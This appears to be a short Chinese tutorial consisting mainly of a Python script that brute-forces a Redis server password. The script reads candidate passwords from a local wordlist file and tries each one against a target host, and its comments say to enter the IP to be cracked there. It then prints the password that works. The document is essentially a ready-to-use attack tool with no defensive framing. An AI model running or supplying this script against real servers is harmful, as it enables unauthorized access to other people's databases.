文章目录
一、所需Python库
1.redis(pip install redis)
二、code
import redis
with open(r'C:\Users\hot\Desktop\密码库.txt', "rb") as passfile: # 读取txt文件
while True:
line = passfile.readline()
if not line:
break
linelist = line.decode("utf-8", "ignore").split(" ") # 解码和切割,切割看你密码库,方式可能不一样
password = linelist[0]
try:
myredis = redis.Redis(host="127.0.0.1", password=password, port=6379) # host输入要破解的ip
myredis.set("dahuang", "huang")
print(password) # 输出正确密码
break
except:pass